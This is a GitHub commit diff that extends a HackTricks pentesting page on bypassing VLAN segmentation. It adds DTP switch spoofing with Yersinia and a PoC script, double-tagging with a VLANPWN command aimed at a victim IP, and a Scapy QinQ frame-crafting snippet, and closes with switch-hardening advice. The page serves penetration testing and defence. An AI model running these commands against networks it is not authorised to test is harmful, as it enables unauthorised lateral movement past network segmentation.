Skip to content

Commit a96761d

Browse files
authored
Merge pull request #1149 from HackTricks-wiki/research_update_src_generic-methodologies-and-resources_pentesting-network_lateral-vlan-segmentation-bypass_20250718_014054
Research Update Enhanced src/generic-methodologies-and-resou...
2 parents fbad2ae + 73f407d commit a96761d

1 file changed

Lines changed: 76 additions & 3 deletions

File tree

src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md

Lines changed: 76 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -60,11 +60,84 @@ Connectivity is tested by initiating ICMP requests to the default gateways for V
6060

6161
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
6262

63-
## References
63+
---
6464

65-
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
65+
## Other VLAN-Hopping Techniques (no privileged switch CLI)
6666

67-
{{#include ../../banners/hacktricks-training.md}}
67+
The previous method assumes authenticated console or Telnet/SSH access to the switch. In real-world engagements the attacker is usually connected to a **regular access port**. The following Layer-2 tricks often let you pivot laterally without ever logging into the switch OS:
68+
69+
### 1. Switch-Spoofing with Dynamic Trunking Protocol (DTP)
70+
71+
Cisco switches that keep DTP enabled will happily negotiate a trunk if the peer claims to be a switch. Crafting a single **DTP “desirable”** or **“trunk”** frame converts the access port into an 802.1Q trunk that carries *all* allowed VLANs.
72+
73+
*Yersinia* and several PoCs automate the process:
74+
75+
```bash
76+
# Become a trunk using Yersinia (GUI)
77+
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
78+
79+
# Python PoC (dtp-spoof)
80+
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
81+
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
82+
```
83+
84+
Once the port switches to trunk you can create 802.1Q sub-interfaces and pivot exactly as shown in the previous section. Modern Linux kernels no longer require *vconfig*; instead use *ip link*:
85+
86+
```bash
87+
sudo modprobe 8021q
88+
sudo ip link add link eth0 name eth0.30 type vlan id 30
89+
sudo ip addr add 10.10.30.66/24 dev eth0.30
90+
sudo ip link set eth0.30 up
91+
```
92+
93+
### 2. Double-Tagging (Native-VLAN Abuse)
94+
95+
If the attacker sits on the **native (untagged) VLAN**, a crafted frame with *two* 802.1Q headers can "hop" to a second VLAN even when the port is locked in access mode. Tooling such as **VLANPWN DoubleTagging.py** (2022-2024 refresh) automates the injection:
6896

97+
```bash
98+
python3 DoubleTagging.py \
99+
--interface eth0 \
100+
--nativevlan 1 \
101+
--targetvlan 20 \
102+
--victim 10.10.20.24 \
103+
--attacker 10.10.1.54
104+
```
105+
106+
Packet walk-through:
107+
1. Outer tag (1) is stripped by the first switch because it matches the native VLAN.
108+
2. Inner tag (20) is now exposed; the frame is forwarded onto the trunk towards VLAN 20.
109+
110+
The technique still works in 2025 on networks that leave the native VLAN at the default and accept untagged frames .
111+
112+
### 3. QinQ (802.1ad) Stacking
113+
114+
Many enterprise cores support *Q-in-Q* service provider encapsulation. Where permitted, an attacker can tunnel arbitrary 802.1Q-tagged traffic inside a provider (S-tag) to cross security zones. Capture for 802.1ad ethertype 0x88a8 and attempt to pop the outer tag with Scapy:
115+
116+
```python
117+
from scapy.all import *
118+
outer = 100 # Service tag
119+
inner = 30 # Customer / target VLAN
120+
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
121+
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
122+
sendp(frame, iface="eth0")
123+
```
69124

125+
---
70126

127+
## Defensive Recommendations
128+
129+
1. Disable DTP on all user-facing ports: `switchport mode access` + `switchport nonegotiate`.
130+
2. Change the native VLAN on every trunk to an **unused, black-hole VLAN** and tag it: `vlan dot1q tag native`.
131+
3. Prune unnecessary VLANs on trunks: `switchport trunk allowed vlan 10,20`.
132+
4. Enforce port security, DHCP snooping & dynamic ARP inspection to limit rogue Layer-2 activity.
133+
5. Prefer private-VLANs or L3 segmentation instead of relying solely on 802.1Q separation.
134+
135+
---
136+
137+
## References
138+
139+
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
140+
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
141+
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
142+
143+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)